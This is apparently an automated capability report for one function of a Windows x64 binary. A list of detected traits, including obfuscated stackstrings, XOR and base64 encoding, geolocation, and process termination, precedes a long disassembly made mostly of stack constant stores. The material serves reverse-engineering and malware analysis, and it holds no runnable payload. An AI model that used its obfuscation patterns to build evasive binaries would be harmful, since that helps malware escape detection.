Function at 0x1400130c0
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Copy file
Encode data using base64
Encode data using xor
Get common file path
Get disk information
Get file size
Get file version info
Get geographical location
Manipulate console buffer
Move file
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x201c8
call fcn.140157670
sub rsp, rax
mov byte [rsp + 0x1fbd8], 5
mov eax, 0x36a5
mov word [rsp + 0x7f7c], ax
mov dword [rsp + 0x18168], 0x902c49d3
mov byte [rsp + 0x11f70], 8
mov eax, 0x20
mov word [rsp + 0x18158], ax
movabs rax, 0x663feb8933eef098
mov qword [rsp + 0x1fc0], rax
mov eax, 0x681d
mov word [rsp + 0x13e70], ax
mov eax, 0x6746
mov word [rsp + 0x11f54], ax
mov eax, 0x2f59
mov word [rsp + 0x18120], ax
movabs rax, 0x1eab3d8278861607
mov qword [rsp + 0x3dc8], rax
mov byte [rsp + 0x11ef8], 0x91
mov eax, 0xea7
mov word [rsp + 0xbd38], ax
mov eax, 0x850
mov word [rsp + 0x5ecc], ax
mov eax, 0x59a3
mov word [rsp + 0x13e00], ax
mov byte [rsp + 0x160b1], 0x2a
mov byte [rsp + 0x13db8], 0x33
mov dword [rsp + 0x1fb00], 0xb4197ac8
mov dword [rsp + 0x1bcf0], 0x1b93cf79
mov byte [rsp + 0x1f08], 0xf5
mov eax, 0x6fa
mov word [rsp + 0xdc88], ax
mov eax, 0x5bb
mov word [rsp + 0x3d48], ax
mov dword [rsp + 0x16054], 0xa945d6fd
movabs rax, 0x12fe5d94f74ed19a
mov qword [rsp + 0x19f50], rax
mov byte [rsp + 0x13d64], 0x6c
mov eax, 0x7af7
mov word [rsp + 0x11e40], ax
mov byte [rsp + 0x5e08], 0x72
mov dword [rsp + 0x1db7c], 0x779f0b48
mov dword [rsp + 0x7e34], 0xb01b2b
mov dword [rsp + 0x7e30], 0x37932bf6
mov byte [rsp + 0xbc78], 0x18
movabs rax, 0x11dd8709ab8ea8ba
mov qword [rsp + 0x19ee8], rax
mov dword [rsp + 0x5d80], 0x6822340b
mov eax, 0x3582
mov word [rsp + 0x19ee4], ax
mov byte [rsp + 0x11e01], 0xe
mov dword [rsp + 0x3ca8], 0x7f513d43
mov dword [rsp + 0x9dac], 0x10f9aa14
movabs rax, 0x41dd38ac200609d5
mov qword [rsp + 0x5d68], rax
mov dword [rsp + 0x17fa0], 0x2726efcf
mov dword [rsp + 0x17f80], 0xa2220801
movabs rax, 0x2d28d9ed1d1b4b01
mov qword [rsp + 0x3c68], rax
movabs rax, 0x75b25eac7a97f638
mov qword [rsp + 0x5d30], rax
mov eax, 0x7657
mov word [rsp + 0x3c58], ax
mov eax, 0xb67
mov word [rsp + 0x19ea0], ax
mov eax, 0x34d
mov word [rsp + 0x3c30], ax
mov dword [rsp + 0x13c98], 0x7e121bd2
mov eax, 0xd9a
mov word [rsp + 0x13c88], ax
mov dword [rsp + 0x1bbf0], 0x3c8f1541
mov eax, 0xad1
mov word [rsp + 0x13c70], ax
mov dword [rsp + 0x15f74], 0x197b0bdf
mov dword [rsp + 0x15f70], 0x8930276
mov eax, 0x68c
mov word [rsp + 0x1bbc8], ax
movabs rax, 0x55a20a32ad1a674e
mov qword [rsp + 0xbbf8], rax
mov byte [rsp + 0x1daac], 0x2b
mov byte [rsp + 0x3bd8], 0x9e
mov byte [rsp + 0x17f08], 0x92
mov eax, 0x6525
mov word [rsp + 0x3bd0], ax
mov byte [rsp + 0x1da58], 0xe2
mov byte [rsp + 0x1da48], 0x25
mov dword [rsp + 0x3bbc], 0x7145b388
mov byte [rsp + 0x11ce8], 0x68
mov eax, 0x6b2b
mov word [rsp + 0xfb18], ax
movabs rax, 0x3aaf46a49b70ff34
mov qword [rsp + 0x1d9f8], rax
mov dword [rsp + 0x17e98], 0xc1777583
mov eax, 0x355b
mov word [rsp + 0xdb50], ax
mov dword [rsp + 0xfb04], 0x3dc3552d
movabs rax, 0x1d5a601e06188a5e
mov qword [rsp + 0x1d9c8], rax
mov dword [rsp + 0x9c30], 0xf50310ae
mov dword [rsp + 0x3b28], 0x7d08de87
movabs rax, 0x68ba545486c838e1
mov qword [rsp + 0x11c50], rax
mov byte [rsp + 0x9be8], 0x64
mov byte [rsp + 0x11c24], 0x7d
mov byte [rsp + 0x7c68], 0x1d
movabs rax, 0x3d0f9c800179467
mov qword [rsp + 0x19db0], rax
mov dword [rsp + 0x9bb0], 0x1fc584e6
mov byte [rsp + 0x11bf8], 0xce
mov eax, 0x548
mov word [rsp + 0xd900], ax
movabs rax, 0x4138efb517deab8e
mov qword [rsp + 0x1d920], rax
mov byte [rsp + 0x1ba50], 0xcd
movabs rax, 0x745c6d857fda5565
mov qword [rsp + 0x11bb0], rax
mov eax, 0x123d
mov word [rsp + 0xfa60], ax
mov dword [rsp + 0x11b98], 0x2ab8bf39
mov dword [rsp + 0x1f800], 0x525be4d3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1d890]
call fcn.140148eb0
mov dword [rsp + 0x15dc0], 0x6517719b
mov byte [rsp + 0x17d88], 0x20
mov dword [rsp + 0x11b70], 0x75c96e23
mov eax, 0x48e
mov word [rsp + 0x7bb8], ax
mov dword [rsp + 0x1d870], 0xa6108e4
mov eax, 0x19ee
mov word [rsp + 0xba54], ax
mov eax, 0xbbe
mov word [rsp + 0x59f8], ax
movabs rax, 0x588e732464f313d7
mov qword [rsp + 0xf9d0], rax
mov byte [rsp + 0x7b88], 0x4a
mov byte [rsp + 0x17d58], 0x38
movabs rax, 0x4ecd3d68661a22a4
mov qword [rsp + 0xba38], rax
mov dword [rsp + 0x59d8], 0xd19f43d
mov dword [rsp + 0xd838], 0xb437df7b
movabs rax, 0x8c8e5041267ad72b
mov qword [rsp + 0x13a40], rax
mov dword [rsp + 0xf9c0], 0xa6880b5
mov eax, 0xa17
mov word [rsp + 0x59a8], ax
mov eax, 0xc45
mov word [rsp + 0x599c], ax
movabs rax, 0xd44e0978b95f677
mov qword [rsp + 0x15d50], rax
mov dword [rsp + 0x17d30], 0xd539055e
mov dword [rsp + 0x1bc4], 0x58734f6
mov dword [rsp + 0x15d3c], 0x4b5cda8c
mov eax, 0x3a5c
mov word [rsp + 0x7b4c], ax
mov eax, 0x20f
mov word [rsp + 0xb9f0], ax
mov byte [rsp + 0x7b11], 0xa9
mov byte [rsp + 0x9a9c], 0x10
mov dword [rsp + 0x5944], 0x6b6b1d4b
mov byte [rsp + 0x9a64], 0xbe
movabs rax, 0x14a52d985adab3e4
mov qword [rsp + 0x5920], rax
movabs rax, 0x7e10bcd81c5db7ab
mov qword [rsp + 0x1b930], rax
mov byte [rsp + 0x9a50], 0x4a
movabs rax, 0xa2b87d5edcf3a727
mov qword [rsp + 0x39e8], rax
mov dword [rsp + 0x9a28], 0x404d4852
mov dword [rsp + 0x17c90], 0xb9fa066c
movabs rax, 0x5c3829a03a7965c8
mov qword [rsp + 0x1b18], rax
movabs rax, 0x530726b939491357
mov qword [rsp + 0x3998], rax
mov eax, 0x6b67
mov word [rsp + 0x1d758], ax
mov dword [rsp + 0x3988], 0x8834a6aa
mov dword [rsp + 0xd740], 0x6ec36e3d
mov byte [rsp + 0x19c40], 0x5d
mov dword [rsp + 0x11a48], 0x77c667d1
mov eax, 0x7093
mov word [rsp + 0x7ad0], ax
mov byte [rsp + 0xb958], 0x48
mov dword [rsp + 0x99cc], 0x4f24410b
movabs rax, 0x236382d02611daf7
mov qword [rsp + 0x1d718], rax
mov byte [rsp + 0x17c10], 7
mov eax, 0x16de
mov word [rsp + 0xd700], ax
movabs rax, 0x4ecdbebcf93a4276
mov qword [rsp + 0x19be8], rax
mov eax, 0x16cc
mov word [rsp + 0x15c40], ax
mov eax, 0x3b1
mov word [rsp + 0x9998], ax
movabs rax, 0x23134ddaaa38397
mov qword [rsp + 0xf8a0], rax
mov dword [rsp + 0x1f62c], 0xce637ce6
mov eax, 0xe14
mov word [rsp + 0x19ba0], ax
movabs rax, 0x42a78ba999d22f03
mov qword [rsp + 0x11970], rax
movabs rax, 0x73b60c27b8f7001d
mov qword [rsp + 0x1b820], rax
mov byte [rsp + 0x5848], 0x5d
mov dword [rsp + 0xd698], 0x96c455ee
mov dword [rsp + 0x17b94], 0xceb8c427
movabs rax, 0x2d630bfd906631ad
mov qword [rsp + 0x38f0], rax
mov dword [rsp + 0x1d680], 0xcc07bf5e
mov dword [rsp + 0x13900], 0x288c3585
mov byte [rsp + 0x1d670], 0x46
mov dword [rsp + 0x1b7c8], 0x2346cf85
mov byte [rsp + 0xb858], 0x14
mov byte [rsp + 0x9918], 0x74
movabs rax, 0x22a82b0c6ab1efe4
mov qword [rsp + 0x1b7b0], rax
mov byte [rsp + 0x1f5b1], 0x64
mov eax, 0x562
mov word [rsp + 0x15b90], ax
movabs rax, 0x843ec9ee232abff0
mov qword [rsp + 0x15b80], rax
mov dword [rsp + 0x15b60], 0x7e7d5191
movabs rax, 0x69ec0cb30b76b5cf
mov qword [rsp + 0x19f8], rax
movabs rax, 0xa091bbd9d784b2a7
mov qword [rsp + 0xf7e8], rax
mov eax, 0x4ec
mov word [rsp + 0x98b4], ax
mov byte [rsp + 0x57d1], 0xe
mov eax, 0x44e7
mov word [rsp + 0x11880], ax
mov dword [rsp + 0x7970], 0x96b5eb71
mov byte [rsp + 0x1f530], 0xb8
mov byte [rsp + 0x1f521], 0x95
mov eax, 0x428
mov word [rsp + 0x17ab0], ax
mov eax, 0x3fa2
mov word [rsp + 0x1f508], ax
mov byte [rsp + 0x1f504], 0x57
mov dword [rsp + 0x7930], 0x561f68ad
movabs rax, 0x57ace5cf4c1e37
mov qword [rsp + 0x19a50], rax
mov eax, 0x4ad
mov word [rsp + 0xd5c0], ax
movabs rax, 0x6c74dd1a311eff4b
mov qword [rsp + 0x5748], rax
mov dword [rsp + 0x5740], 0x17a27261
movabs rax, 0x64fb14accf0bbe6
mov qword [rsp + 0x1948], rax
mov dword [rsp + 0x5738], 0x2fa17b55
mov eax, 0xc3c
mov word [rsp + 0xf744], ax
mov dword [rsp + 0x15a0c], 0x7043df73
mov eax, 0x899
mov word [rsp + 0xb768], ax
mov byte [rsp + 0x97f0], 0x72
mov byte [rsp + 0xd569], 0x42
mov byte [rsp + 0x159e0], 0x3a
mov eax, 0x747e
mov word [rsp + 0x1f43c], ax
mov byte [rsp + 0x18b8], 0x17
movabs rax, 0x4844bdeb217d693a
mov qword [rsp + 0x5660], rax
mov byte [rsp + 0x9779], 0x62
mov byte [rsp + 0xd520], 0x73
mov dword [rsp + 0x1b618], 0x1243b8c8
mov dword [rsp + 0x7854], 0x4019ed88
movabs rax, 0x13bcab6c37dc73f3
mov qword [rsp + 0x1f400], rax
mov eax, 0xc60
mov word [rsp + 0x7840], ax
mov eax, 0xb6a
mov word [rsp + 0x36fc], ax
mov dword [rsp + 0x7830], 0x2bd32c07
movabs rax, 0xbabcb335164b3388
mov qword [rsp + 0x11708], rax
mov byte [rsp + 0x55f1], 3
mov byte [rsp + 0x17960], 0xee
movabs rax, 0x7c753943d53c4429
mov qword [rsp + 0x7808], rax
mov dword [rsp + 0x19964], 0x3febe036
mov byte [rsp + 0x1850], 0xc
mov eax, 0x1e2e
mov word [rsp + 0x36c8], ax
mov dword [rsp + 0x13688], 0xa9cabf60
mov byte [rsp + 0x55c4], 0x60
movabs rax, 0x4dacc222c557b24
mov qword [rsp + 0x1b590], rax
movabs rax, 0x539d81877e120cfc
mov qword [rsp + 0x55a0], rax
mov byte [rsp + 0x5599], 0x52
mov byte [rsp + 0x11698], 0x56
mov eax, 0x852
mov word [rsp + 0x1992c], ax
mov dword [rsp + 0x1b568], 0x13b8e23c
mov byte [rsp + 0x1d458], 0x50
mov eax, 0x4363
mov word [rsp + 0x1800], ax
mov eax, 0x1651
mov word [rsp + 0x1d438], ax
mov byte [rsp + 0x1f368], 0x31
movabs rax, 0x60ab661406b47b62
mov qword [rsp + 0x15740], rax
mov dword [rsp + 0x13668], 0x65cb3bda
mov eax, 0x404d
mov word [rsp + 0x17e8], ax
movabs rax, 0x26393ef0e48d172a
mov qword [rsp + 0x5530], rax
mov dword [rsp + 0xd430], 0x335be910
mov dword [rsp + 0x17880], 0xfba9e8de
mov eax, 0x4cf2
mov word [rsp + 0x3638], ax
mov byte [rsp + 0x5508], 0x38
mov byte [rsp + 0x3630], 0x2e
mov dword [rsp + 0x19888], 0xb5a326f2
mov eax, 0x5f04
mov word [rsp + 0x17858], ax
mov eax, 0xebc
mov word [rsp + 0xf568], ax
movabs rax, 0x182fa8ead63a9c6b
mov qword [rsp + 0xd3e0], rax
mov byte [rsp + 0x19850], 7
mov byte [rsp + 0x19841], 0x51
mov dword [rsp + 0xb5cc], 0x74dc1208
mov eax, 0x7e8
mov word [rsp + 0x1d390], ax
movabs rax, 0x61245e7256594567
mov qword [rsp + 0x156c0], rax
mov byte [rsp + 0xf508], 0x64
mov byte [rsp + 0x35c8], 0xd6
movabs rax, 0x73fff9b46c227a73
mov qword [rsp + 0x9600], rax
movabs rax, 0x13f58978fed73134
mov qword [rsp + 0x177e0], rax
movabs rax, 0xb2ea1c5710fc90e
mov qword [rsp + 0x1f2d8], rax
movabs rax, 0xa3d845cf8ae43d89
mov qword [rsp + 0x135d8], rax
mov dword [rsp + 0x135b8], 0x4be4ada5
mov byte [rsp + 0x17798], 5
mov eax, 0x66ba
mov word [rsp + 0x11518], ax
movabs rax, 0x2d2749709cb9ead3
mov qword [rsp + 0xf480], rax
mov byte [rsp + 0x1b410], 0xbd
movabs rax, 0x340ec7631e201148
mov qword [rsp + 0xb530], rax
movabs rax, 0xc3f3a486b470d519
mov qword [rsp + 0x114b0], rax
mov byte [rsp + 0x19730], 0x76
movabs rax, 0xa69bdf8b2c47ddd2
mov qword [rsp + 0xf410], rax
movabs rax, 0x17a9a72ed725fd2f
mov qword [rsp + 0xd2a0], rax
mov byte [rsp + 0x155b0], 0x65
mov byte [rsp + 0x1f1f5], 0x60
mov eax, 0x95b
mov word [rsp + 0xf3f0], ax
mov byte [rsp + 0x1670], 0x57
mov dword [rsp + 0x1b3b8], 0xe31b0923
movabs rax, 0x23926456e019408e
mov qword [rsp + 0x7580], rax
mov byte [rsp + 0x7570], 0xfd
mov byte [rsp + 0x1b3a4], 0xcb
mov byte [rsp + 0x1638], 0x34
mov byte [rsp + 0xb499], 0x8d
mov eax, 0x361
mov word [rsp + 0x94c0], ax
mov eax, 0x60cc
mov word [rsp + 0x1d250], ax
mov dword [rsp + 0x1f170], 0x3ba63de
mov eax, 0x1b2
mov word [rsp + 0x7530], ax
mov byte [rsp + 0x1553c], 0x27
movabs rax, 0x1c08d7448da6bcf4
mov qword [rsp + 0x7510], rax
mov eax, 0x8b8
mov word [rsp + 0xd208], ax
mov byte [rsp + 0x53b0], 0x9e
mov eax, 0x3f4
mov word [rsp + 0x15c0], ax
movabs rax, 0x411b16084e1102ae
mov qword [rsp + 0x176a0], rax
mov eax, 0xac
mov word [rsp + 0x949c], ax
movabs rax, 0x5673d3cec525e056
mov qword [rsp + 0x15b0], rax
mov byte [rsp + 0x15a8], 0x3f
movabs rax, 0x50320cc7635a678a
mov qword [rsp + 0xb438], rax
mov byte [rsp + 0x5351], 0xe6
movabs rax, 0x31f928717ce1eba
mov qword [rsp + 0x17668], rax
mov eax, 0x7e04
mov word [rsp + 0xf2d0], ax
movabs rax, 0x5f563af4e4a37fa3
mov qword [rsp + 0x19630], rax
mov eax, 0xcd
mov word [rsp + 0x1764c], ax
mov dword [rsp + 0x17648], 0x933b020d
mov byte [rsp + 0x15480], 0x6c
mov dword [rsp + 0x1b314], 0x500346af
mov eax, 0xc37
mov word [rsp + 0x1b30c], ax
mov byte [rsp + 0xb3b8], 0x97
movabs rax, 0x28cfc33bff05722c
mov qword [rsp + 0x9410], rax
mov dword [rsp + 0x5294], 0xfde75950
movabs rax, 0x6ebda334e28e39e0
mov qword [rsp + 0x3350], rax
mov eax, 0x95f
mov word [rsp + 0x1520], ax
movabs rax, 0x311ac5efaa72b4d7
mov qword [rsp + 0x7420], rax
mov eax, 0x6a0c
mov word [rsp + 0xb380], ax
mov eax, 0xedf
mov word [rsp + 0x1f088], ax
movabs rax, 0x964e799a992529a0
mov qword [rsp + 0x175b8], rax
mov dword [rsp + 0x153d8], 0xfe67c30f
mov byte [rsp + 0xb338], 0xfb
movabs rax, 0x11c5e097ac15e2dc
mov qword [rsp + 0x1b278], rax
mov eax, 0x733
mov word [rsp + 0x1d160], ax
mov dword [rsp + 0x14d8], 0x20866b24
movabs rax, 0xb40139cd263682d5
mov qword [rsp + 0x51f8], rax
mov dword [rsp + 0x1b270], 0x39a28c12
mov eax, 0x168
mov word [rsp + 0x17550], ax
movabs rax, 0x40f7e0b611669413
mov qword [rsp + 0xd0c0], rax
mov byte [rsp + 0x15351], 0x6b
mov eax, 0x838
mov word [rsp + 0x1d118], ax
mov byte [rsp + 0x15350], 0x69
mov dword [rsp + 0x51ac], 0x20845c04
mov dword [rsp + 0x32a8], 0x35d1d331
mov dword [rsp + 0x1b208], 0x473abffc
mov eax, 0x3bd0
mov word [rsp + 0xb280], ax
mov dword [rsp + 0x1b1f8], 0x4c12f936
mov eax, 0x7a7a
mov word [rsp + 0x174e0], ax
movabs rax, 0xceff84c08ba6cba3
mov qword [rsp + 0x174d8], rax
mov eax, 0x3585
mov word [rsp + 0x92c8], ax
movabs rax, 0x31727615dbcdc5a6
mov qword [rsp + 0x11210], rax
mov dword [rsp + 0x194dc], 0x782048e6
mov eax, 0x8b3
mov word [rsp + 0xf0ec], ax
mov eax, 0x39bb
mov word [rsp + 0x1526c], ax
mov dword [rsp + 0x92a0], 0x560b23c3
mov eax, 0x1635
mov word [rsp + 0x17458], ax
movabs rax, 0x72738a912ca2b33b
mov qword [rsp + 0x194a0], rax
mov byte [rsp + 0xb1e0], 0x11
mov byte [rsp + 0x17454], 0x4c
movabs rax, 0xa1f0684c480c5bbd
mov qword [rsp + 0xb1b0], rax
mov byte [rsp + 0x1ef24], 0x6e
mov eax, 0x281a
mov word [rsp + 0x1ef20], ax
mov dword [rsp + 0x1741c], 0x2ffb1da5
mov dword [rsp + 0x11170], 0x4ea9ab25
movabs rax, 0x9d2e37796777ddc
mov qword [rsp + 0x7238], rax
mov dword [rsp + 0x1940c], 0x45ff5578
movabs rax, 0x787d77a6890b6b54
mov qword [rsp + 0x173e8], rax
mov eax, 0x35ac
mov word [rsp + 0x1cf98], ax
mov byte [rsp + 0x173d0], 0xa5
mov dword [rsp + 0x5084], 0x361d05cb
mov byte [rsp + 0x173b0], 3
mov byte [rsp + 0x7208], 4
mov dword [rsp + 0xb0f4], 0x58248f0b
movabs rax, 0x975b81a4c8d75b78
mov qword [rsp + 0x193d8], rax
movabs rax, 0x3c3e69082c1665a5
mov qword [rsp + 0x71c0], rax
mov byte [rsp + 0x71b0], 0xe2
movabs rax, 0x68e2837f433d9e45
mov qword [rsp + 0x12fa8], rax
mov byte [rsp + 0x15188], 0x46
mov eax, 0xdc9
mov word [rsp + 0x1b088], ax
movabs rax, 0x38f81532afd16c5
mov qword [rsp + 0x1300], rax
movabs rax, 0x634338efc209f765
mov qword [rsp + 0x12f8], rax
mov byte [rsp + 0x30c0], 0x6b
mov dword [rsp + 0xce48], 0xc18a2c36
mov eax, 0xf10
mov word [rsp + 0xef64], ax
mov eax, 0x7f4
mov word [rsp + 0x17328], ax
movabs rax, 0x2e1f890905cc29a1
mov qword [rsp + 0x1b048], rax
movabs rax, 0x2518677d0037fde9
mov qword [rsp + 0xef28], rax
mov dword [rsp + 0x302c], 0x4b3cd104
mov eax, 0x439f
mov word [rsp + 0x1edc0], ax
mov eax, 0x27d
mov word [rsp + 0x19318], ax
mov byte [rsp + 0x9100], 0x45
mov eax, 0x76d5
mov word [rsp + 0xb034], ax
movabs rax, 0x78ee0a94619b3f1c
mov qword [rsp + 0x172e0], rax
movabs rax, 0x77c0877efaefbf05
mov qword [rsp + 0xef10], rax
movabs rax, 0x8435fc9f8e660d38
mov qword [rsp + 0x11008], rax
movabs rax, 0x6f5a33a75801f847
mov qword [rsp + 0x150f0], rax
mov byte [rsp + 0x11000], 0x76
mov byte [rsp + 0x150e0], 0x1d
mov byte [rsp + 0x2ff4], 0x42
mov eax, 0xc61
mov word [rsp + 0x2ff0], ax
mov byte [rsp + 0x2fed], 0x26
mov eax, 0x3401
mov word [rsp + 0x12ecc], ax
mov eax, 0x270e
mov word [rsp + 0x90d4], ax
mov eax, 0x322
mov word [rsp + 0x1afd8], ax
mov dword [rsp + 0xeec0], 0x32aa8e08
mov eax, 0x7cc
mov word [rsp + 0x10fc0], ax
mov eax, 0x611
mov word [rsp + 0x1ed80], ax
mov dword [rsp + 0xafdc], 0xf0720edd
mov dword [rsp + 0xafb8], 0xef6a55cc
mov eax, 0xbb9
mov word [rsp + 0x1cdd0], ax
mov eax, 0x304e
mov word [rsp + 0x4ebc], ax
mov byte [rsp + 0x4eb8], 0xaf
mov byte [rsp + 0x10f6c], 0x49
mov eax, 0x5394
mov word [rsp + 0xcd40], ax
mov byte [rsp + 0xee60], 0xc7
movabs rax, 0x2475b63ec63dd909
mov qword [rsp + 0x1cda0], rax
mov dword [rsp + 0x10f48], 0x45752a49
mov eax, 0x37bc
mov word [rsp + 0xee5c], ax
mov dword [rsp + 0x1cd90], 0x5521c8f7
mov dword [rsp + 0x7020], 0x2b234776
mov eax, 0x26fd
mov word [rsp + 0x1ed20], ax
movabs rax, 0x108b6e9ecd3f0efb
mov qword [rsp + 0xcd10], rax
mov eax, 0x25a
mov word [rsp + 0x2f38], ax
mov eax, 0x6880
mov word [rsp + 0x19238], ax
movabs rax, 0xca69c5c013592cea
mov qword [rsp + 0x12e10], rax
mov byte [rsp + 0x171ac], 0xa4
mov dword [rsp + 0xaf00], 0x4f7fb0fd
mov dword [rsp + 0x15024], 0xc33d2b17
mov eax, 0x204e
mov word [rsp + 0x17138], ax
mov byte [rsp + 0x4de8], 0x1e
mov eax, 0x882
mov word [rsp + 0x8ff4], ax
mov dword [rsp + 0x170e4], 0x3527c3e9
movabs rax, 0xf0657b26e37af144
mov qword [rsp + 0x1ae88], rax
mov dword [rsp + 0x10e28], 0x5c2bfacd
mov byte [rsp + 0x1ec89], 0x26
mov dword [rsp + 0x1ccb0], 0x798012a5
mov dword [rsp + 0x2e78], 0x705c485f
mov eax, 0x182
mov word [rsp + 0x8f90], ax
mov eax, 0x16f
mov word [rsp + 0x12d58], ax
mov eax, 0x3e69
mov word [rsp + 0xed68], ax
mov byte [rsp + 0x1068], 0x67
movabs rax, 0x266c387ac4397280
mov qword [rsp + 0xcc48], rax
movabs rax, 0xa6dc31ca803cefab
mov qword [rsp + 0x12d20], rax
mov dword [rsp + 0x1ebdc], 0x3c314e5
movabs rax, 0x85f05c5936290164
mov qword [rsp + 0x6ec8], rax
mov eax, 0x104d
mov word [rsp + 0x2e1c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xadb8]
call fcn.140148eb0
mov edx, 0x675
mov word [rsp + 0xcbf8], dx
mov dword [rsp + 0x10d70], 0x3ae9ca35
mov eax, 0x2b83
mov word [rsp + 0x1ebac], ax
movabs rax, 0x553b83757f1c7b47
mov qword [rsp + 0x8f00], rax
mov byte [rsp + 0x1024], 0x80
mov dword [rsp + 0x6e88], 0x29085929
movabs rax, 0x2873d394fc130e6f
mov qword [rsp + 0xecf8], rax
mov byte [rsp + 0x14efc], 3
mov dword [rsp + 0xecf0], 0xdfccd3f3
mov dword [rsp + 0x10d10], 0x6c5441b5
movabs rax, 0x36024eeceb47a644
mov qword [rsp + 0x4ce0], rax
mov eax, 0x7c14
mov word [rsp + 0xcbb8], ax
movabs rax, 0x7a5bfbbac391681f
mov qword [rsp + 0x1018], rax
mov dword [rsp + 0x1ad80], 0xce3b0d8e
movabs rax, 0x2ea6ea9ce94daf85
mov qword [rsp + 0x10cf8], rax
mov byte [rsp + 0x8ec0], 0
movabs rax, 0xf261c12b3359bbf
mov qword [rsp + 0x16f90], rax
mov byte [rsp + 0x1eb20], 0x39
mov eax, 0x7ab8
mov word [rsp + 0x1eb14], ax
mov dword [rsp + 0x8eb0], 0x372cb8f8
mov dword [rsp + 0x2d60], 0x66dae008
mov byte [rsp + 0xcb74], 0x74
movabs rax, 0xd4ab0af0328b5882
mov qword [rsp + 0x1eaf8], rax
mov dword [rsp + 0xcb70], 0x22bc02f2
mov byte [rsp + 0x14ea0], 0xfc
mov byte [rsp + 0x6e00], 0x3e
mov dword [rsp + 0xcb60], 0x332de5f1
mov byte [rsp + 0x6de8], 0x90
mov eax, 0xc6b
mov word [rsp + 0x1ad28], ax
mov dword [rsp + 0x2d50], 0x381ecdea
movabs rax, 0x83426088409c494e
mov qword [rsp + 0x2d40], rax
mov byte [rsp + 0x2d38], 2
mov byte [rsp + 0x10c88], 0xc5
mov eax, 0xea5
mov word [rsp + 0x6dd4], ax
mov dword [rsp + 0x6dd0], 0x2221a772
mov byte [rsp + 0x14e74], 0xb1
mov byte [rsp + 0x18f88], 0x67
movabs rax, 0x3a3230155b8d23d
mov qword [rsp + 0x10c60], rax
mov dword [rsp + 0x14e54], 0xaed6ca2d
mov dword [rsp + 0x1ea60], 0x46079f7f
movabs rax, 0x89d7145c536b4dcf
mov qword [rsp + 0xec08], rax
mov dword [rsp + 0xf48], 0x53719dd9
mov byte [rsp + 0x1ea58], 0x53
mov dword [rsp + 0x1ea28], 0xd28a8f4c
mov eax, 0x154f
mov word [rsp + 0x12c18], ax
mov byte [rsp + 0xcaec], 9
mov eax, 0x3a49
mov word [rsp + 0x18f28], ax
mov dword [rsp + 0xcac0], 0x7b10888c
mov byte [rsp + 0x1ea04], 5
mov byte [rsp + 0x2c6c], 9
mov dword [rsp + 0x1e9e4], 0x6fe63275
mov dword [rsp + 0x1caf0], 0x369de75c
mov eax, 0x43d
mov word [rsp + 0xe98], ax
mov dword [rsp + 0x8d30], 0xcfe49e9a
movabs rax, 0xe4fef56b295a61e
mov qword [rsp + 0xac08], rax
movabs rax, 0x3e058ef4365b67
mov qword [rsp + 0xeb28], rax
movabs rax, 0x7b32a507f74afdeb
mov qword [rsp + 0x10b58], rax
movabs rax, 0x70283ff21dd7a731
mov qword [rsp + 0xca58], rax
movabs rax, 0x1f1b736bbceb10f6
mov qword [rsp + 0x1e9a0], rax
mov dword [rsp + 0x1e998], 0x111ccd39
mov byte [rsp + 0x12b20], 0x13
movabs rax, 0x6d79ff4413cbaf75
mov qword [rsp + 0x1ac58], rax
movabs rax, 0xb812af6c4fa539d0
mov qword [rsp + 0xeae8], rax
mov dword [rsp + 0x1e930], 0xa9c26793
mov byte [rsp + 0x18e38], 0x6e
mov eax, 0x4bf4
mov word [rsp + 0x1ac34], ax
movabs rax, 0x80105d4003ccd28f
mov qword [rsp + 0x4ae0], rax
mov eax, 0x12f3
mov word [rsp + 0x10b0c], ax
mov dword [rsp + 0xdc8], 0xcb79aff5
mov dword [rsp + 0x8c6c], 0x314a8c8f
mov dword [rsp + 0x14c98], 0x36f2475
mov eax, 0x3bc9
mov word [rsp + 0xd70], ax
mov dword [rsp + 0xd60], 0x49490952
mov dword [rsp + 0xea48], 0x50814100
mov byte [rsp + 0xc950], 0x2b
mov byte [rsp + 0x1e888], 0x1f
movabs rax, 0xab7b68a8e59c8d39
mov qword [rsp + 0x16d38], rax
mov byte [rsp + 0xc934], 0x4e
mov byte [rsp + 0x14c30], 0x34
mov dword [rsp + 0x14c2c], 0x1602e7e5
mov dword [rsp + 0x8be4], 0x4b8081e2
mov dword [rsp + 0xc908], 0xe552ba81
mov dword [rsp + 0x8bd0], 0x4d8593b8
movabs rax, 0xf170c8b3e75da644
mov qword [rsp + 0x1ab38], rax
mov eax, 0x834
mov word [rsp + 0x2b10], ax
mov dword [rsp + 0x1ab30], 0x1d0eff01
mov dword [rsp + 0x18d20], 0x1d2264ed
mov dword [rsp + 0x129f8], 0x1b2fe910
movabs rax, 0x494cf2c5285f4462
mov qword [rsp + 0x14c00], rax
mov eax, 0x6e63
mov word [rsp + 0x8b80], ax
movabs rax, 0x6a923ed5ac4e01da
mov qword [rsp + 0x14bc0], rax
movabs rax, 0x683f4205a5576805
mov qword [rsp + 0x18ce0], rax
mov byte [rsp + 0x1e7e8], 0x17
mov eax, 0x890
mov word [rsp + 0xaa98], ax
mov byte [rsp + 0xaa8c], 0x15
movabs rax, 0x44279be9e6f2bf37
mov qword [rsp + 0xaa80], rax
mov eax, 0x32c7
mov word [rsp + 0x2ab8], ax
movabs rax, 0x6679bec999693516
mov qword [rsp + 0x6b18], rax
mov byte [rsp + 0xe9a4], 3
mov byte [rsp + 0xaa58], 0x34
mov eax, 0x463
mov word [rsp + 0x10970], ax
mov dword [rsp + 0xaa1c], 0x6ab91095
mov byte [rsp + 0xaa14], 0xb4
mov eax, 0x7f2
mov word [rsp + 0x1294c], ax
movabs rax, 0xbd82290c3d55e54d
mov qword [rsp + 0x2a70], rax
mov byte [rsp + 0x12948], 0xf9
mov eax, 0xb78
mov word [rsp + 0xc818], ax
movabs rax, 0x395c7b9ea2c301b3
mov qword [rsp + 0x10930], rax
mov eax, 0x6f05
mov word [rsp + 0x12938], ax
mov dword [rsp + 0xa9fc], 0xd74fa007
mov dword [rsp + 0x18c44], 0x508c0c49
movabs rax, 0x3a7873f004066d8d
mov qword [rsp + 0x14b08], rax
mov eax, 0x956
mov word [rsp + 0x48a8], ax
mov byte [rsp + 0x8ac0], 0x23
mov eax, 0xb47
mov word [rsp + 0x8ab4], ax
